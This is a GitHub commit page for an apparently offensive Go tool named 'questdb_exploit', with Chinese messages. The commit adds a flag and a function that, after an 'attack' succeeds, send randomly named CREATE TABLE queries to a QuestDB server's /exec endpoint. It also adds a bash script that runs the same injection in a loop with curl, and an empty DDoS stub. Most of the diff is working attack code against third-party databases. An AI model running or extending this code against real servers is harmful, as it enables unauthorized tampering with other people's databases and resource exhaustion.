Skip to content

Commit a7e3ab4

Browse files
committed
feat: 新增随机表注入功能并扩展参数解析
- 新增 `InjectRandom` 参数以支持攻击成功后随机注入表 - 实现 `InjectCreateTableRandomly` 函数,用于生成随机表名和列结构并执行注入 - 添加 `RandomChar` 工具函数以生成随机字符串 - 在 `main.go` 中集成随机表注入逻辑,根据命令行参数触发 - 更新命令行帮助信息,添加新参数说明和示例
1 parent 8496c0e commit a7e3ab4

7 files changed

Lines changed: 133 additions & 0 deletions

File tree

internal/cmd/args.go

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -16,12 +16,15 @@ func ParseArgs() *model.Args {
1616
flag.StringVar(&args.HistoryFilter, "history-filter", "", "过滤历史记录的主机名")
1717
flag.IntVar(&args.HistoryLimit, "history-limit", 0, "限制显示的历史记录数量 (0 表示无限制)")
1818
flag.BoolVar(&args.HistorySummary, "history-summary", false, "显示历史记录统计摘要")
19+
flag.BoolVar(&args.InjectRandom, "inject-random", false, "在攻击成功后随机注入表")
1920

2021
flag.Usage = func() {
2122
fmt.Fprintf(os.Stderr, "%s 的用法:\n", os.Args[0])
2223
fmt.Fprintf(os.Stderr, "\n攻击模式:\n")
2324
fmt.Fprintf(os.Stderr, " -u string\n")
2425
fmt.Fprintf(os.Stderr, " \t目标 URL 或主机 (例如: http://localhost:9000)\n")
26+
fmt.Fprintf(os.Stderr, " -inject-random\n")
27+
fmt.Fprintf(os.Stderr, " \t在攻击成功后随机注入表\n")
2528
fmt.Fprintf(os.Stderr, "\n历史记录查看模式:\n")
2629
fmt.Fprintf(os.Stderr, " -view-history\n")
2730
fmt.Fprintf(os.Stderr, " \t查看攻击历史记录\n")
@@ -33,6 +36,7 @@ func ParseArgs() *model.Args {
3336
fmt.Fprintf(os.Stderr, " \t显示历史记录统计摘要\n")
3437
fmt.Fprintf(os.Stderr, "\n示例:\n")
3538
fmt.Fprintf(os.Stderr, " %s -u http://localhost:9000\n", os.Args[0])
39+
fmt.Fprintf(os.Stderr, " %s -u http://localhost:9000 -inject-random\n", os.Args[0])
3640
fmt.Fprintf(os.Stderr, " %s -view-history\n", os.Args[0])
3741
fmt.Fprintf(os.Stderr, " %s -view-history -history-filter localhost\n", os.Args[0])
3842
fmt.Fprintf(os.Stderr, " %s -view-history -history-limit 10\n", os.Args[0])

internal/functions/ddos.go

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
package functions
2+
3+
func QDBDDOS(host string) {
4+
5+
}

internal/functions/injection.go

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
package functions
2+
3+
import (
4+
"fmt"
5+
"math/rand"
6+
"net/http"
7+
"net/url"
8+
"questdb_exploit/internal/utilities"
9+
"strings"
10+
)
11+
12+
func InjectCreateTableRandomly(host string) {
13+
var (
14+
colParts []string
15+
colCount int = rand.Intn(20) + 2
16+
)
17+
18+
for i := 0; i < colCount; i++ {
19+
colName := utilities.RandomChar(rand.Intn(5) + 5)
20+
colParts = append(colParts, fmt.Sprintf("%s INT", colName))
21+
}
22+
23+
tableName := utilities.RandomChar(rand.Intn(9) + 2)
24+
query := fmt.Sprintf(
25+
"CREATE TABLE %s (%s);",
26+
tableName,
27+
strings.Join(colParts, ", "),
28+
)
29+
30+
url := host + "/exec?query=" + url.QueryEscape(query)
31+
32+
resp, err := http.Get(url)
33+
if err != nil {
34+
fmt.Printf("注入表 %s 失败: %v\n", tableName, err)
35+
return
36+
}
37+
38+
defer resp.Body.Close()
39+
40+
fmt.Printf("已注入表: %s (状态: %s)\n", tableName, resp.Status)
41+
}

internal/model/arguements.go

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,4 +6,5 @@ type Args struct {
66
HistoryFilter string
77
HistoryLimit int
88
HistorySummary bool
9+
InjectRandom bool
910
}

internal/utilities/util.go

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
package utilities
2+
3+
import "math/rand"
4+
5+
func RandomChar(length int) string {
6+
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
7+
8+
b := make([]byte, length)
9+
10+
for i := range b {
11+
b[i] = charset[rand.Intn(len(charset))]
12+
}
13+
14+
return string(b)
15+
}

main.go

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -56,4 +56,10 @@ func main() {
5656
}
5757

5858
utilities.Log(utilities.INFO, "漏洞利用执行完成")
59+
60+
if args.InjectRandom {
61+
utilities.Log(utilities.INFO, "开始随机表注入")
62+
functions.InjectCreateTableRandomly(args.TargetURL)
63+
utilities.Log(utilities.INFO, "随机表注入完成")
64+
}
5965
}

scripts/inject.sh

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
#!/bin/bash
2+
3+
# 默认值
4+
HOST="localhost"
5+
LOOP=1
6+
7+
# 解析命令行参数
8+
# u: 表示 -u 需要参数, l: 表示 -l 需要参数
9+
while getopts "u:l:" opt; do
10+
case $opt in
11+
u) HOST="$OPTARG" ;;
12+
l) LOOP="$OPTARG" ;;
13+
*) echo "用法: sh inject.sh -u <主机地址> -l <循环次数>"; exit 1 ;;
14+
esac
15+
done
16+
17+
# 随机表注入函数
18+
inject_table() {
19+
local target_host=$1
20+
21+
# 生成随机表名 (5-10个字符)
22+
local t_len=$(( ( RANDOM % 6 ) + 5 ))
23+
local table_name="tbl_$(openssl rand -base64 32 | tr -dc 'a-z' | fold -w "$t_len" | head -n 1)"
24+
25+
# 生成随机列数 (2-10列)
26+
local col_count=$(( ( RANDOM % 9 ) + 2 ))
27+
local col_parts=()
28+
29+
for ((i=0; i<col_count; i++)); do
30+
local c_name=$(openssl rand -base64 32 | tr -dc 'a-z' | fold -w 5 | head -n 1)
31+
col_parts+=("$c_name INT")
32+
done
33+
34+
# 将数组组合成 SQL 格式
35+
local joined_cols=$(IFS=,; echo "${col_parts[*]}")
36+
local query="CREATE TABLE $table_name ($joined_cols);"
37+
38+
# 执行 curl 请求
39+
# --data-urlencode 会自动处理 SQL 中的空格和括号
40+
local url
41+
if [[ "$target_host" == http* ]]; then
42+
url="$target_host/exec"
43+
else
44+
# 否则使用默认的 http 协议和 9000 端口
45+
url="http://$target_host:9000/exec"
46+
fi
47+
48+
local status=$(curl -s -o /dev/null -w "%{http_code}" \
49+
--data-urlencode "query=$query" \
50+
"$url")
51+
52+
echo "[$(date +%T)] 正在注入表: $table_name | 状态码: $status"
53+
}
54+
55+
# 开始循环
56+
echo "正在对 $HOST 开始注入,共执行 $LOOP 次..."
57+
for ((i=1; i<=LOOP; i++)); do
58+
inject_table "$HOST"
59+
done
60+
61+
echo "任务完成。"

0 commit comments

Comments
 (0)